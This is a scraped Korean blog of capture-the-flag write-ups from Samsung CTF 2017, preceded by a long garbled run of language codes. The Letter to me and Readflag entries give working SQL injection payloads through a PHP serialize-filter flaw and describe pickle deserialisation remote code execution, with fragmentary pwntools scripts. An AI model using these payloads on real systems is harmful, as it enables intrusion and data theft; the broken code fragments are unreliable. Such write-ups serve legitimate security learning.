ko en en en en en ko it en en en en en en en en it en en en eu it en it nl en pt it en fr fr fr it en en en en en en en en en en ko ko en ko ko en la en ko en en en nl ko es ja en en en en en en en en hu en en ko ko ko ko ko ko ko ko ru es en en nb en uk en kn sv kn en ceb es kn en en ceb en en en en ceb en ceb en kn en ceb en kn en ceb en en ceb en en kn en ceb en kn kn kn sv kn fr de ru en ceb es kn en en pt en en en ceb en en en en en en it ar ceb ar zh en kn en en en en kn fr en ru en ceb en en ceb en en en kn en ceb en kn en ceb ceb en ceb zh zh kn tr kn ta ceb en kn ka ceb en fr kn et ceb ba kn ca en en ceb en ar ceb en sl en en en kn sv ceb en tr en pt pt en kn es ceb en ko en ceb en en it kn de kn en ceb en en nn ceb en zh kn fa kn ca fr en ko ko ko kn en en en uk en ko zh ko ko ko ko ko ko ko ko en de en de en de en de fa en en en en hu en en ko ko en en ru ru de de en en ceb en en en en ceb es en en en ceb en en en en en en ia pt tr en en en en ceb en en en en ceb en en en it en hu de en en es es it en en en fr en en en en en en la en en en en en en en de de en en zh en en en en en en en pt en ru en sco en en en en en hu es en ko en ko ko ko ko ko ko ko ko en de en de en de en de fa en en en en hu en en ko ko en es en en en en en en en en ar en en en en en en en en en en en en en en ko ko ko ko ko ko ko ko en de en de en de en de fa en en en en cs en en ko en en ru zh en en de zh en nb en en sv en en es en pl en en ko ko ko ko ko ko ko ko en de en de en de en de fa en en en en zh en en ko en en uk en en az ko en en en ru en en en en en en zh pl en ko ko ko en ko ko ko ko ko ko ko ko en de en de en de en de fa en en en ko ko en en en en da en en en en
FC3:Lord Of the BOF (6)
LOS1:Lord of SQL Inj.. (1)
항상 블로그 잘 보고 있습니다. ^^
☺♪ hi choiys it's a long time :p⋯
스크립트에 있는 쿠키 값은 풀이자분이⋯
저 코드 그대로 실행시켰더니 먼저 로그⋯
[SCTF 2017] Attack - Letter to me(300 pts) 2017.07.24
[SCTF 2017] Coding - Buildingblocks(250 pts) 2017.07.24
[SCTF 2017] Reversing - Easyhaskell(200 pts) 2017.07.24
[SCTF 2017] Defense - Dfa(100 pts) 2017.07.24
[SCTF 2017] Attack - Readflag(100 pts) 2017.07.24 (1)
[SCTF 2017] Attack - Letter to me(300 pts)
attack, letter to me, samsungctf, sctf, web
문제를 살펴보면 플래그는 DB 안에 있다는 힌트가 있으며, sql 파일과 서버 주소를 던져줬다.
sql 파일을 살펴보면 아래와 같다.
메인 페이지는 위와 같다. login페이지와 register 페이지가 있는 것을 확인 할 수 있다.
register 페이지의 경우 관리자에게 문의하여 로그인하라는 메시지가 나온다.
관리자에게 연락 할 수는 없기 때문에 page 파라미터에서 발생하는 LFI 취약점을 이용하여 PHP Wrapper로 페이지 소스를 긁어온다.
index.php를 살펴보면 conn.php를 include 한 이후 extract로 GET과 POST 파라미터를 변수화 시켜준다. 이 때 conn.php 안에 있는 db 정보를 변경할 수 있기 때문에 문제 페이지에서 받았던 SQL 테이블 데이터를 외부 서버에 생성 후 연결하여 admin으로 로그인 할 수 있다.
이 때 로그인 이후에는 위와 같이(login.php) 문제 서버의 세션으로 로그인이 유지되기 때문에 로그인 상태를 유지 할 수 있다.
위는 admin으로 로그인 한 후의 상태이다. 사용자를 초대 할 수 있으며, 해당 계정으로 접속 시 메시지를 자신에게 보내고 받을 수 있는 send.php와 show.php에 접근 할 수 있다.
function generateRS($length = 64) {
$urandom = fopen("/dev/urandom", "rb");
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[ord(fread($urandom, 1)) % ($charactersLength - 1)];
if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
$note = new note();
else if($_FILES['file']['error'] > 0 || !is_uploaded_file($_FILES['file']['tmp_name']))
if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
$DB->execute("select data from notes where username=\"${user}\"");
echo " ${letter} ";
echo " Attached file:   file   ";
echo " Attached file: None ";
global $servername, $username, $password, $db_name;
$this->conn = mysql_connect($servername, $username, $password) or die("connect error");
$this->res = mysql_query($query) or die("SQL ERROR");
return count($res) > 0 ? $res[0] : NULL;
$DB = new db();
public $user, $letter, $attached_file;
$DB->execute("insert into files values (NULL, \"${realname}\", \"${filename}\")");
$DB->execute("insert into notes values (\"${user}\", \"${str}\")");
$filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l");
$replace = str_repeat($profanity_word_replace, strlen($word));
$str = eregi_replace($word, $replace, $str);
$DB->execute("select realname, path from files where id=${id}");
위 3개의 소스는 이 문제의 핵심인 send.php, show.php, models.php이다. models.php의 경우 index.php를 제외한 거의 대부분의 소스에서 include 하고 있는 소스이며, DB 관련 작업을 처리하는 함수의 정의가 담겨 있다.
send.php에서 파일을 업로드 할 경우 models.php에 정의되어있는 addfile 함수에서  DB에 파일 경로를 넣어준다. 또한 하나의 파일이 추가될때마다 자동으로 파일의 인덱스를 늘려주는 get_auto_incre 메소드를 사용하고 있다.
그리고 add 함수에서 사용자 이름과 해당하는 메시지를 저장하는데, 메시지를 저장할 때 serialize 함수를 이용하여 시리얼라이징 하며, filter 함수를 이용하여 유해 문자를 필터링 한다. 이 때, 시리얼라이징 이후 필터링을 거치기 때문에 s:4:”f**k”와 같이 시리얼라이징 되었을 경우 profanity_word_replace에 설정된 값만큼 4번 반복되어 값이 들어가진다. 현재 이 변수에 설정된 값은 conn.php에 ‘*’로 지정되어있으며, 이는 곧 f**k가 ****로 필터링 된다는 뜻이 된다. 하지만 extract 함수를 index.php에서 사용하고 있기 때문에 profanity_word_replace 변수의 값은 임의로 바꿀 수 있으며, 이를 이용하여 unserialize 함수를 사용하여 시리얼라이징을 해제, 객체화 할 때 취약점이 발생할 수 있다.
f**k";s:13:"attached_file";s:119:"1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0, 1) limit 1, 1";}
f**k";s:13:"attached_file";s:127:"1 union select 1,(select column_name from information_schema.columns where table_name=0x4c544f4d5f466c3367 limit 0,1) limit 1,1
f**k";s:13:"attached_file";s:68:"1 union select 1,(select flag from LTOM_Fl3g limit 0,1) limit 1,1
위와 같이 msg부분에 입력해주고, 전체 길이만큼 dummy byte로 채워지도록 profanity_word_replace를 재설정 한 후 요청하면 각각에 해당하는 결과를 얻을 수 있다
'CTF > Samsung CTF 2017' 카테고리의 다른 글
[SCTF 2017] Coding - Buildingblocks(250 pts)  (0)
[SCTF 2017] Reversing - Easyhaskell(200 pts)  (0)
[SCTF 2017] Defense - Dfa(100 pts)  (0)
[SCTF 2017] Attack - Readflag(100 pts)  (1)
[SCTF 2017] Coding - Buildingblocks(250 pts)
2017. 7. 24. 11:46
buildingblocks, Programming, samsungctf, sctf
Coding - Buildingblocks(250 pts)
문제를 확인해보면 별다른 설명은 없고 nc 주소만 나와있다.
해당 서버에 접속을 해보면 10개의 스테이지로 나뉘어진 문제가 나타나며, 아래의 리스트는 base64로 인코딩 된 x64 코드 블록이며,  segmentation fault가 없도록 잘 조합하여 sha256으로 hash하여 보내라고 한다. 약 1분~2분정도의 timeout이 걸려있으며 이 시간 내에 코드 블록들을 조합하여 보내야한다.
from pwn import *
def divide(t, idx, s, d, g):
if t[idx] == '\xb8':
a = 'mov eax,'
elif t[idx] == '\x2d':
a = 'sub eax,'
elif t[idx] == '\x05':
a = 'add eax,'
elif t[idx] == '\x74':
a = 'je 0xf\nmov eax, 0x0\nmov eax,'
b = 'DWORD PTR [eax]'
elif t[idx] == '\xf7':
elif t[idx] == '\xba':
a = 'mov edx,'
elif t[idx] == '\x3d':
a = 'cmp eax,'
elif t[idx] == '\x48':
a = 'mov rax, 0x3c\nmov rdi,'
return a, b, c, s, d, g
r = remote("buildingblocks.eatpwnnosleep.com", 46115)
for q in range(10):
for d in data:
for b in blocks:
print "[*] {} block.".format(blocks.index(b))
if block[0] == '\xb8':
while idx < len(block):
inst, value, i, s, d, g = divide(block, idx, s, d, g)
print "[+] sum : {}\n".format(hex(s))
while cnt < len(blocks)-1:
for i in range(len(blocks)):
위의 페이로드를 날려주면 아래와 같이 플래그를 얻어낼 수 있다.
'CTF > Samsung CTF 2017' 카테고리의 다른 글
[SCTF 2017] Attack - Letter to me(300 pts)  (0)
[SCTF 2017] Reversing - Easyhaskell(200 pts)  (0)
[SCTF 2017] Defense - Dfa(100 pts)  (0)
[SCTF 2017] Attack - Readflag(100 pts)  (1)
[SCTF 2017] Reversing - Easyhaskell(200 pts)
2017. 7. 24. 11:46
easyhaskell, Reversing, samsung ctf, sctf
Attack - Easyhaskell(200 pts)
문제를 확인해보면 Haskell로 짜여진 바이너리인 것 같다. 문제 설명의 플래그를 확인해보면 뭔가 암호화 된 것 같다. 이를 분석하기 위해 IDA로 열어보았으나, 함수가 너무 많고 알아볼 수 없어 실행을 시켜보았더니 플래그 포맷과 비슷한 문자열이 나타났다. 실행 시 argv에 값을 넣어봐도 변하지 않는 것과, stdin 등으로 입력을 받는 부분이 없는 것으로 보아 파일명을 이용하여 암호화를 할 것이라고 생각했다.
파일명을 바꿔서 실행시켜보니 예상했던대로 다른 문자열이 나타났다. 플래그 포맷이 SCTF{...}이기 때문에 SCTF{로 파일명을 바꿔 보냈더니 플래그와 일치하는 부분이 나타났다. 이를 이용하여 브루트포싱 스크립트를 작성하여 플래그를 얻어냈다.
n = raw_input(">> ")
for i in strings:
for j in l:
if "SCTF" in j:
if goal in p:
'CTF > Samsung CTF 2017' 카테고리의 다른 글
[SCTF 2017] Attack - Letter to me(300 pts)  (0)
[SCTF 2017] Coding - Buildingblocks(250 pts)  (0)
[SCTF 2017] Defense - Dfa(100 pts)  (0)
[SCTF 2017] Attack - Readflag(100 pts)  (1)
[SCTF 2017] Defense - Dfa(100 pts)
2017. 7. 24. 11:44
Defense, DFA, samsung ctf, sctf
Defense - Dfa(100 pts)
Dfa 문제는 1개의 취약점을 가진 소스를 던져준다. 이 소스에서 취약점을 발견하여 패치 한 후 서버로 패치된 소스를 넘기면 플래그를 얻을 수 있다. 일반적으로 스택이나 힙에서 발생하는 취약점의 경우 길이에 관련된 경우가 많기 때문에 node를 추가하거나 삭제하는 부분에서의 길이 검증 루틴에서 취약점이 발생할 것이라 생각하고 add_node 함수 부분에서 linebuf 변수의 길이를 0x100에서 0x1000으로 늘려주었다. 그리고 아래와 같은 페이로드를 작성하여 플래그를 획득할 수 있었다.
from pwn import *
r = remote("dfa.eatpwnnosleep.com", 9999)
print r.recvuntil("base64 : ")
with open("in.txt","r") as f:
FLAG : SCTF{simple patch tutorial}
'CTF > Samsung CTF 2017' 카테고리의 다른 글
[SCTF 2017] Attack - Letter to me(300 pts)  (0)
[SCTF 2017] Coding - Buildingblocks(250 pts)  (0)
[SCTF 2017] Reversing - Easyhaskell(200 pts)  (0)
[SCTF 2017] Attack - Readflag(100 pts)  (1)
[SCTF 2017] Attack - Readflag(100 pts)
2017. 7. 24. 11:43
attack, readflag, samsung ctf, sctf
Attack - Readflag(100 pts)
readFlag.tar의 압축을 풀어보면 dump.py와 send.sh가 있는 것을 확인 할 수 있다. 각각의 소스는 아래와 같다.
from pickle import dumps
print dumps([1, 2, 3])+'#'
python dump.py | nc 0 55402
이는 dump.py에서 pickle 모듈을 이용하여 pickling을 한 후 55402 포트로 해당 데이터를 보내는 것을 확인 할 수 있다. 여기에서 dump.py 대신에 pickle 취약점을 이용한 공격코드를 작성하여 pickling 한 후 해당 서버로 데이터를 전송한다면 RCE가 가능하다.
from pwn import *
from cPickle import dumps
r = remote("readflag.eatpwnnosleep.com", 55402)
위와 같이 페이로드를 작성하여 날려주면 __reduce__메소드에서 튜플의 형태로 함수 또한 리턴하며 원격 서버에서 RCE가 발생한다. 이 때, 의도적으로 오류를 발생시킬 경우 서버의 파일명인 “test.py”를 알 수 있으며, 이를 open하여 파일의 내용을 읽어올 수 있다.
굳이 이렇게 사용하지 않고 __file__이나 sys.argv를 사용하여 실행되는 파일명을 알아낼수도 있다.
test.py 안의 내용을 살펴보면 flag를 얻어낼 수 있다.
'CTF > Samsung CTF 2017' 카테고리의 다른 글
[SCTF 2017] Attack - Letter to me(300 pts)  (0)
[SCTF 2017] Coding - Buildingblocks(250 pts)  (0)
[SCTF 2017] Reversing - Easyhaskell(200 pts)  (0)
[SCTF 2017] Defense - Dfa(100 pts)  (0)
Powered by Tistory, Designed by wallel
Rss Feed and Twitter, Facebook, Youtube, Google+